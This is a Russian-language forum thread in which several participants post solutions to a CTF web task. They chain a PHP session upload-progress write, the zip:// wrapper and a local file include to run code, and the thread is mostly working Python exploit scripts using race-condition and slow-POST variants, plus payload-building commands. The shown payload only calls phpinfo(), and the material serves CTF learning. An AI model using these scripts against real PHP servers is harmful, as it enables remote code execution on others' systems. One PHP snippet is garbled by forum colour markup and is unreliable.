
29.06.2019, 10:14
|
|
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами:
4931606
Репутация:
138
|
|
Прохождения участников:
Сообщение от =HALK=
↑
Эксплойт с гонкой, которую я всегда выигрываю со своим пингом)
Код:
import requests
from threading import Thread
import base64
import time
data = {'PHP_SESSION_UPLOAD_PROGRESS':base64.b64decode('AAAAAAAAAAAAAAIAAABmL1BLAwQKAAAAAACdVdBOUIPMfRIAAAASAAAACgAAAGYvdGVzdC5waHA8P3BocCBwaHBpbmZvKCk7Pz5QSwMECgAAAAAAebLPTlrf2AAGAQAABgEAAAkAAABpbmRleC5waHA8P3BocA0KDQppZihpc3NldCgkX0dFVFsnZiddKSAmJiBiYXNlbmFtZSgkX0dFVFsnZiddKT09PSd0ZXN0LnBocCcpew0KCWluY2x1ZGUoJF9HRVRbJ2YnXSk7DQp9ZWxzZXsNCmVjaG8gJzxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjgsIDE0LCAxNCk7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIHN0eWxlPSIgaGVpZ2h0OiAxMDAwcHg7IiBzcmM9ImRlcmV2YS5qcGciPjwvZGl2PjwvYm9keT4nOw0KDQp9DQo/Pg0KUEsBAj8AFAAAAAAAlFXQTgAAAAAAAAAAAAAAAAIAJAAAAAAAAAAQAAAAAAAAAGYvCgAgAAAAAAABABgAJoqHWhck1QEmiodaFyTVAb/vPUwXJNUBUEsBAj8ACgAAAAAAnVXQTlCDzH0SAAAAEgAAAAoAJAAAAAAAAAAgAAAAIAAAAGYvdGVzdC5waHAKACAAAAAAAAEAGACYR0ZlFyTVAVKb3lYXJNUBUpveVhck1QFQSwECPwAKAAAAAAB5ss9OWt/YAAYBAAAGAQAACQAkAAAAAAAAACAAAABaAAAAaW5kZXgucGhwCgAgAAAAAAABABgA364RTa8j1QEALWVxAyLVAW8KaNiDDNUBUEsFBgAAAAADAAMACwEAAIcBAAAAAA==')}
files = {'file':'A'*5000*1024}
cookies = {'PHPSESSID':'test'}
def send():
requests.post('http://task.antichat.com:10008/', cookies=cookies, data=data, files=files)
def get():
time.sleep(0.2)
r = requests.get('http://task.antichat.com:10008/?f=zip:///var/lib/php/sessions/sess_test%23f/test.php')
print r.text.encode("utf-8")
thread1 = Thread(target=send)
thread2 = Thread(target=get)
thread1.start()
thread2.start()
thread1.join()
thread2.join()
Сообщение от nix_security
↑
Привет, решил таск, пока через race condition
Есть две проблемы:
1. Необходимо добиться RCE через LFI. Тут
https://github.com/orangetw/My-CTF-W...-php-challenge
узнал описано, что создать сессию в php возможно без session_start если воспользоваться параметром
PHP_SESSION_UPLOAD_PROGRESS.
2. Необходимо забайпасить функцию basename. На ум сразу приходит враппер zip://, который разжевали в предыдущем таске.
Итак, делаем архив:
Код:
zip tmp.zip ./tmp/test.php;
ehco -n "upload_progress_" > temp2.zip; cat tmp.zip> temp2.zip;
zip -F temp2.zip --out ./test-res.zip
Модифицируем эксплойт китайцев:
Код:
#!/usr/bin/env python3
import requests
import sys
from multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://task.antichat.com:10008/'
sess_name = 'test'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
payload = open('test-res.zip', 'rb').read()
print(payload)
data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload
}
def runner_post(i):
fp = open('test', 'rb')
while 1:
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()
def runner_get(i):
while 1:
r = requests.get(HOST + "index.php?f=zip:///var/lib/php/sessions/sess_test%23tmp/test.php")
if "phpinfo()" in r.text:
print(r.text)
break
if sys.argv[1] == '1':
runner = runner_get
else:
runner = runner_post
pool = ThreadPool(5)
res = pool.map_async(runner,range(5)).get(0xffff)
Запускаем и через пару минут видим phpinfo)
P.S. Способ без гонки, через slow query попробую отладить на днях
Сообщение от nix_security
↑
Привет!
Переделал эксплойт через slow query. Пэйлоад тот же, мы просто отправим http запрос на загрузку файла через сокет и после начала передачи поставим sleep. Важно, чтобы размер переданной части файла + заголовков был больше буфера. Тогда файл сессии флашнется на диск.
Заявленная длина передаваемого файла должна быть больше того, что мы передадим фактически. Корректную концовку запроса (конец файла\r\n + --boundary--\r\n) отправлять необязательно. Во время паузы у атакующего появляется окно, чтобы заинклудить пэйлоад:
Код:
#!/usr/bin/env python3
import os
import time
import socket
import requests
# Target
hostname = "task.antichat.com"
port = 10008
# Params
sess_name = 'test'
user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
'''
payload gen:
zip payload.zip ./tmp/test.php
echo -n "upload_progress_" > ./tmp.zip
cat payload.zip >> ./tmp.zip
zip -F tmp.zip --out result.zip
xxd result.zip
'''
payload = b'PK\x03\x04\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe4\x9b\xc1Y' + \
b'\x13\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x1c\x00tmp/test.p' + \
b'hpUT\t\x00\x03\xc1t\x06]\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00' + \
b'\x00\x00\x04\x00\x00\x00\x00\nPK\x01\x02' + \
b'\x1e\x03\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe4\x9b\xc1Y\x13' + \
b'\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x18\x00\x00\x00\x00\x00' + \
b'\x01\x00\x00\x00\xa4\x81\x10\x00\x00\x00tmp/test.phpUT\x05' + \
b'\x00\x03\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00' + \
b'\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00R\x00' + \
b'\x00\x00i\x00\x00\x00\x00\x00\n'
def slow_post():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(20)
s.connect((hostname, port))
boundary = "d616cb44a03dd005920d52707fcfce66"
body_len = 50000 # len must be more than real
post_req = (
"POST / HTTP/1.1\r\n" +
"Host: %s\r\n" % hostname +
"User-Agent: %s\r\n" % user_agent +
"Cookie: PHPSESSID=%s;\r\n" % sess_name +
"Accept: */*\r\n" +
"Content-Length: %i\r\n" % body_len +
"Accept-Encoding: text\r\n" +
"Content-Type: multipart/form-data; boundary=%s\r\n" % boundary +
"\r\n--%s\r\n" % boundary +
"Content-Disposition: form-data;" +
"name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n" +
"\r\n"
).encode("utf-8") + \
payload + (
"\r\n--%s\r\n" % boundary +
"Content-Disposition: form-data; name=\"f\"; filename=\"test\"\r\n" +
"\r\n" + "test" * 10000 # chunk must be more than buffer
).encode("utf-8")
print("Send slow post request")
s.send(post_req)
# pause file upload
time.sleep(10)
# file will not ever uploaded
def get_lfi():
url = "http://%s:%i" % (hostname, port) + \
"/index.php?f=zip:///var/lib/php/sessions/sess_%s%%23tmp/test.php" % sess_name
print("Include session file:", url, sep="\n")
headers = {
"User-Agent": user_agent
}
r = requests.get(url, headers=headers)
return r.text
if __name__ == '__main__':
pid = os.fork()
if pid:
# wait for a start upload
time.sleep(1)
print("PHPINFO:", get_lfi(), sep="\n")
else:
slow_post()
P.S. Спасибо за таск!
Сообщение от joelblack
↑
Привет,спасибо за таск, очень зашел, открыл для себя в процессе решения некоторые фишки, о которых не знал ранее. Итак, тестировал все на
win10+ OSPanel 5.3.0+ php7.3.2+
Apache2.4
Пока читаем таск8, видим жирный намек на оранжа:
http://blog.orange.tw/2018/10/hitcon...challenge.html
Исходя из исследования оранжа, понимаем, что при определенных условиях мы можем писать произвольные данные в сессию. Но тут есть 2 проблемы:
Первая
Код:
if(isset($_GET['f']) && basename($_GET['f'])==='test.php') include($_GET['f']);
Из чего следует,что полностью все по ресерчу сделать не получится, так как все портит basename().
Вторая
Из-за настройки по умолчанию для session.upload_progress.prefix наш сессионный файл будет начинаться с префикса
upload_progress_
Смотрим
task7
:
/threads/470693/page-2#post-4310093
Обращаем внимание на архив
ZIP
. Идем в документацию PHP и смотрим соответствующий враппер:
https://www.php.net/manual/ru/wrappers.compression.php
Код:
zip://archive.zip#dir/file.txt
Так как можно обращаться непосредственно к файлам внутри архива,необходимо создать нужную структуру внутри ,и тогда basename() вернет true после чего
Первая
проблема решена.Далее как формировать архив, и как он решит вторую проблему описано в таске7, так что остается адаптировать готовое решение:
zip.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"upload_progress_"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"final.zip"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"abs/test.php"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$evil_code[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ZipArchive[/COLOR][COLOR="#007700"](); if ([/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ZIPARCHIVE[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]CREATE[/COLOR][COLOR="#007700"])!==[/COLOR][COLOR="#0000BB"]TRUE[/COLOR][COLOR="#007700"]) { exit([/COLOR][COLOR="#DD0000"]"could not open file[/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"]); } [/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFromString[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"abs/test.php"[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR]
Затем, как сформировали готовый архив,вырезаем оттуда
upload_progress_
.После этого фактически
Вторая
проблема решена. Остается отправить все это дело.
По умолчанию
session.upload_progress.cleanup
в PHP
включен
. Это означает, что прогресс загрузки в сеансе будет очищен как можно скорее. На лицо
Race Condition
. У оранжа есть готовый POC, который не много изменив, можно применить и здесь. Я разбил его на 2 файла:
uploader_rc.py
Код:
import requests
HOST = 'http://localhost'
sess_name = 'test'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
while 1:
fp = open('D:\\OSPanel\\domains\\task8\\test.txt', 'rb')
r = requests.post(HOST, files={'f': fp}, data={'PHP_SESSION_UPLOAD_PROGRESS':open('D:\\OSPanel\\domains\\task8\\final.zip', 'rb').read()}, headers=headers)
fp.close()
print('Send!')
uploader_rc_get.py
Код:
import requests
HOST = 'http://localhost'
sess_name = 'test'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
filename = 'zip://D:\\ospanel\\userdata\\temp\\sess_' + sess_name+ '%23abs/test.php'
while 1:
url = '%s?f=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c.find('PHP Version') != -1:
print(c)
break
Остается лишь запустить 2 файла, после чего получим результат работы функции phpinfo();
Spoiler: img

|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|